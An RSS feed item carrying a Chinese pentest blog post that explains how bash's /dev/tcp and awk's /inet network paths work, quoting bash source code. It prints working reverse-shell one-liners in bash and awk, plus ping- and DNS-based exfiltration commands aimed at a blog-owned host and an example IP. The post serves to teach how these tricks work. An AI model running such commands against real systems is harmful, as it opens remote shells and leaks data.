<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
    <channel>
        <title>Pentest - 标签 - 有价值炮灰</title>
        <link>https://evilpan.com/tags/pentest/</link>
        <description>Pentest - 标签 - 有价值炮灰</description>
        <generator>Hugo -- gohugo.io</generator><language>zh-CN</language><managingEditor>i@pppan.net (evilpan)</managingEditor>
            <webMaster>i@pppan.net (evilpan)</webMaster><copyright>This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.</copyright><lastBuildDate>Sun, 25 Apr 2021 08:40:00 &#43;0800</lastBuildDate><atom:link href="https://evilpan.com/tags/pentest/" rel="self" type="application/rss+xml" /><item>
    <title>Reverse Shell 杂谈</title>
    <link>https://evilpan.com/2021/04/25/reverse-shell/</link>
    <pubDate>Sun, 25 Apr 2021 08:40:00 &#43;0800</pubDate><author>
        <name>evilpan</name>
    </author><guid>https://evilpan.com/2021/04/25/reverse-shell/</guid>
    <description><![CDATA[<p>那些年被误解的 reverse shell。</p>
<h1 id="前言" class="headerLink">
    <a href="#%e5%89%8d%e8%a8%80" class="header-mark"></a>前言</h1><p>昨天有个小伙伴在群里问在 macOS 下如何实现 bash 反弹 shell，因为 Mac 中没有 <code>/dev/tcp</code> 目录。借着这个问题，就来简单谈谈反弹 shell 的那些事。</p>
<h1 id="从-bash-说起" class="headerLink">
    <a href="#%e4%bb%8e-bash-%e8%af%b4%e8%b5%b7" class="header-mark"></a>从 bash 说起</h1><p>可能大家都用过 bash 反弹 shell:</p>
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          <p class="tw-select-none !tw-my-1">sh</p>
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  <pre style="counter-reset: codeblock;" class="tw-block tw-m-0 tw-p-0"><code 
    id="codeblock-id-1" 
    class="
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      !tw-block 
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      "><span class="line"><span class="cl">bash -i &gt;<span class="p">&amp;</span> /dev/tcp/127.0.0.1/8080 0&gt;<span class="p">&amp;</span><span class="m">1</span></span></span></code></pre>
</div>
<p>关于重定向部分很多文章有介绍了，但是 /dev 部分却鲜有提及。很多人以为 <strong>/dev/tcp/host/port</strong> 是 Linux 内核提供的一个 <a href="https://tldp.org/HOWTO/SCSI-2.4-HOWTO/devfs.html" target="_blank" rel="noopener noreferrer">devfs</a> (或者 <a href="http://en.wikipedia.org/wiki/Udev" target="_blank" rel="noopener noreferrer">udev</a>)，曾经我也是这么认为的，但实际上上面的命令在 macOS 甚至 Windows 也可以成功执行，显然这些系统中并不存在 <code>/dev/tcp/</code> 之类的路径。</p>
<p>WHY？</p>
<p>原因很简单，因为这是 bash 本身提供的功能。其代码实现在 <code>bash/redir.c</code> 中:</p>
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  <pre style="counter-reset: codeblock;" class="tw-block tw-m-0 tw-p-0"><code 
    id="codeblock-id-2" 
    class="
      chroma 
      !tw-block 
      tw-p-0
      tw-m-0
      tw-transition-[max-height] 
      tw-duration-500 
      tw-ease-in-out 
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      group-[.is-wrap]:tw-text-wrap
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      "><span class="line"><span class="cl"><span class="cm">/* A list of pattern/value pairs for filenames that the redirection
</span></span></span><span class="line"><span class="cl"><span class="cm">   code handles specially. */</span>
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="n">STRING_INT_ALIST</span> <span class="n">_redir_special_filenames</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="cp">#if !defined (HAVE_DEV_FD)
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>  <span class="p">{</span> <span class="s">&#34;/dev/fd/[0-9]*&#34;</span><span class="p">,</span> <span class="n">RF_DEVFD</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl"><span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp">#if !defined (HAVE_DEV_STDIN)
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>  <span class="p">{</span> <span class="s">&#34;/dev/stderr&#34;</span><span class="p">,</span> <span class="n">RF_DEVSTDERR</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span> <span class="s">&#34;/dev/stdin&#34;</span><span class="p">,</span> <span class="n">RF_DEVSTDIN</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span> <span class="s">&#34;/dev/stdout&#34;</span><span class="p">,</span> <span class="n">RF_DEVSTDOUT</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl"><span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp">#if defined (NETWORK_REDIRECTIONS)
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>  <span class="p">{</span> <span class="s">&#34;/dev/tcp/*/*&#34;</span><span class="p">,</span> <span class="n">RF_DEVTCP</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span> <span class="s">&#34;/dev/udp/*/*&#34;</span><span class="p">,</span> <span class="n">RF_DEVUDP</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl"><span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>  <span class="p">{</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="nb">NULL</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">int</span>
</span></span><span class="line"><span class="cl"><span class="nf">redir_special_open</span> <span class="p">(</span><span class="n">spec</span><span class="p">,</span> <span class="n">filename</span><span class="p">,</span> <span class="n">flags</span><span class="p">,</span> <span class="n">mode</span><span class="p">,</span> <span class="n">ri</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">     <span class="kt">int</span> <span class="n">spec</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="kt">char</span> <span class="o">*</span><span class="n">filename</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="kt">int</span> <span class="n">flags</span><span class="p">,</span> <span class="n">mode</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="k">enum</span> <span class="n">r_instruction</span> <span class="n">ri</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// ...
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="cp">#if defined (NETWORK_REDIRECTIONS)
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>    <span class="k">case</span> <span class="nl">RF_DEVTCP</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">case</span> <span class="nl">RF_DEVUDP</span><span class="p">:</span>
</span></span><span class="line"><span class="cl"><span class="cp">#if defined (RESTRICTED_SHELL)
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>      <span class="k">if</span> <span class="p">(</span><span class="k">restricted</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="p">(</span><span class="n">RESTRICTED_REDIRECT</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp">#if defined (HAVE_NETWORK)
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>      <span class="n">fd</span> <span class="o">=</span> <span class="nf">netopen</span> <span class="p">(</span><span class="n">filename</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="cp">#else
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="p">}</span></span></span></code></pre>
</div>
<p>而 netopen 函数则定义在 <code>bash/lib/sh/netopen.c</code> 中:</p>
<div class="code-block highlight is-open show-line-numbers  tw-group tw-my-2">
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    tw-flex 
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    <button 
      class="
        code-block-button
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      aria-hidden="true">
          <div class="group-[.is-open]:tw-rotate-90 tw-transition-[transform] tw-duration-500 tw-ease-in-out print:!tw-hidden tw-w-min tw-h-min tw-my-1 tw-mx-1"><svg class="icon"
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          <p class="tw-select-none !tw-my-1">c</p>
      </button>

   <div class="tw-flex">
      <button 
        class="
          line-number-button
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      <button 
        class="
          wrap-code-button
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        class="
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  </div>
  <pre style="counter-reset: codeblock;" class="tw-block tw-m-0 tw-p-0"><code 
    id="codeblock-id-3" 
    class="
      chroma 
      !tw-block 
      tw-p-0
      tw-m-0
      tw-transition-[max-height] 
      tw-duration-500 
      tw-ease-in-out 
      group-[.is-closed]:!tw-max-h-0 
      group-[.is-wrap]:tw-text-wrap
      tw-overflow-y-hidden
      tw-overflow-x-auto
      tw-scrollbar-thin
      "><span class="line"><span class="cl"><span class="cm">/*
</span></span></span><span class="line"><span class="cl"><span class="cm"> * Open a TCP or UDP connection given a path like `/dev/tcp/host/port&#39; to
</span></span></span><span class="line"><span class="cl"><span class="cm"> * host `host&#39; on port `port&#39; and return the connected socket.
</span></span></span><span class="line"><span class="cl"><span class="cm"> */</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span>
</span></span><span class="line"><span class="cl"><span class="nf">netopen</span> <span class="p">(</span><span class="n">path</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">     <span class="kt">char</span> <span class="o">*</span><span class="n">path</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">np</span><span class="p">,</span> <span class="o">*</span><span class="n">s</span><span class="p">,</span> <span class="o">*</span><span class="n">t</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">fd</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">np</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="nf">xmalloc</span> <span class="p">(</span><span class="nf">strlen</span> <span class="p">(</span><span class="n">path</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nf">strcpy</span> <span class="p">(</span><span class="n">np</span><span class="p">,</span> <span class="n">path</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">s</span> <span class="o">=</span> <span class="n">np</span> <span class="o">+</span> <span class="mi">9</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">t</span> <span class="o">=</span> <span class="nf">strchr</span> <span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="sc">&#39;/&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">t</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nf">internal_error</span> <span class="p">(</span><span class="nf">_</span><span class="p">(</span><span class="s">&#34;%s: bad network path specification&#34;</span><span class="p">),</span> <span class="n">path</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="nf">free</span> <span class="p">(</span><span class="n">np</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="o">*</span><span class="n">t</span><span class="o">++</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">fd</span> <span class="o">=</span> <span class="nf">_netopen</span> <span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">t</span><span class="p">,</span> <span class="n">path</span><span class="p">[</span><span class="mi">5</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">  <span class="nf">free</span> <span class="p">(</span><span class="n">np</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">fd</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cm">/*
</span></span></span><span class="line"><span class="cl"><span class="cm"> * Open a TCP or UDP connection to HOST on port SERV.  Uses getaddrinfo(3)
</span></span></span><span class="line"><span class="cl"><span class="cm"> * if available, falling back to the traditional BSD mechanisms otherwise.
</span></span></span><span class="line"><span class="cl"><span class="cm"> * Returns the connected socket or -1 on error.
</span></span></span><span class="line"><span class="cl"><span class="cm"> */</span>
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">int</span> 
</span></span><span class="line"><span class="cl"><span class="nf">_netopen</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">serv</span><span class="p">,</span> <span class="n">typ</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">     <span class="kt">char</span> <span class="o">*</span><span class="n">host</span><span class="p">,</span> <span class="o">*</span><span class="n">serv</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">     <span class="kt">int</span> <span class="n">typ</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="cp">#ifdef HAVE_GETADDRINFO
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>  <span class="k">return</span> <span class="p">(</span><span class="nf">_netopen6</span> <span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">serv</span><span class="p">,</span> <span class="n">typ</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="cp">#else
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>  <span class="k">return</span> <span class="p">(</span><span class="nf">_netopen4</span> <span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">serv</span><span class="p">,</span> <span class="n">typ</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="p">}</span></span></span></code></pre>
</div>
<p>因此，这实际上只是对 <code>/dev/{tcp,udp}</code> 开头的文件进行字符串解析并根据解析结果建立网络连接，并没有涉及到具体的操作系统。如果解析失败，比如字段数量不正常或者协议不正确，才会回退到 <strong>open(2)</strong> 操作，即指定路径当做常规文件处理。</p>
<h1 id="awk" class="headerLink">
    <a href="#awk" class="header-mark"></a>awk</h1><p>当然，bash 并不是唯一实现了这种根据路径指定网络连接的功能，比如常见的 awk 一句话反弹 shell:</p>
<div class="code-block highlight is-open show-line-numbers  tw-group tw-my-2">
  <div class="
    
    tw-flex 
    tw-flex-row
    tw-flex-1 
    tw-justify-between 
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    ">      
    <button 
      class="
        code-block-button
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      aria-hidden="true">
          <div class="group-[.is-open]:tw-rotate-90 tw-transition-[transform] tw-duration-500 tw-ease-in-out print:!tw-hidden tw-w-min tw-h-min tw-my-1 tw-mx-1"><svg class="icon"
    xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M285.476 272.971L91.132 467.314c-9.373 9.373-24.569 9.373-33.941 0l-22.667-22.667c-9.357-9.357-9.375-24.522-.04-33.901L188.505 256 34.484 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L285.475 239.03c9.373 9.372 9.373 24.568.001 33.941z"/></svg></div>
          <p class="tw-select-none !tw-my-1">sh</p>
      </button>

   <div class="tw-flex">
      <button 
        class="
          line-number-button
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  <pre style="counter-reset: codeblock;" class="tw-block tw-m-0 tw-p-0"><code 
    id="codeblock-id-4" 
    class="
      chroma 
      !tw-block 
      tw-p-0
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      tw-transition-[max-height] 
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      "><span class="line"><span class="cl">awk <span class="s1">&#39;BEGIN {s = &#34;/inet/tcp/0/127.0.0.1/8080&#34;; while(42) { do{ printf &#34;shell&gt;&#34; |&amp; s; s |&amp; getline c; if(c){ while ((c |&amp; getline) &gt; 0) print $0 |&amp; s; close(c); } } while(c != &#34;exit&#34;) close(s); }}&#39;</span> /dev/null</span></span></code></pre>
</div>
<blockquote>
  <p>awk: bash摸得，我摸不得？</p>
</blockquote><p>在编写本文时最新的代码实现在 io.c 中，片段如下所示:</p>
<p><figure><a class="lightgallery" href="/img/2021-04-25-reverse-shell/0.png" title="awk.png" data-thumbnail="/img/2021-04-25-reverse-shell/0.png" data-sub-html="<h2>io.c</h2><p>awk.png</p>"><img  loading="lazy" src='/img/2021-04-25-reverse-shell/0.png'   alt="awk.png"  ></a><figcaption class="image-caption">io.c</figcaption>
</figure></p>
<p>与 bash 的连接相比，awk 的实现增加了更多功能，可以指定 IPv4/IPv6，以及指定绑定的本地端口。</p>
<h1 id="小结" class="headerLink">
    <a href="#%e5%b0%8f%e7%bb%93" class="header-mark"></a>小结</h1><p>在最初接触渗透测试的时候，喜欢收集各种一句话反弹 shell，其实并不必要，因为看多了就会知道其本质是一样的，在实际进行漏洞(比如命令注入)时，通常就是有什么用什么，只要能够实现目的即可，比如读取本地文件后，可以通过很多命令传输到攻击者处，比如:</p>
<ul>
<li>用 ICMP 携带 payload: ping -p payload evilpan.com</li>
<li>用 DNS 请求携带 paylaod，也就是常说的 DNSLog: dig @1.2.3.4 -p 5333 -t A payload.evilpan.com</li>
<li>&hellip;</li>
</ul>
<p>换言之，reverse shell 的本质只是: <strong>connect</strong>、<strong>read</strong>、<strong>exec</strong>、<strong>write</strong>、repeat，而网上各种所谓的一句话反弹 shell，也不过是用各种语言编写对应的操作而已，了解实现背后的本质，才能达到举一反三的效果。</p>]]></description>
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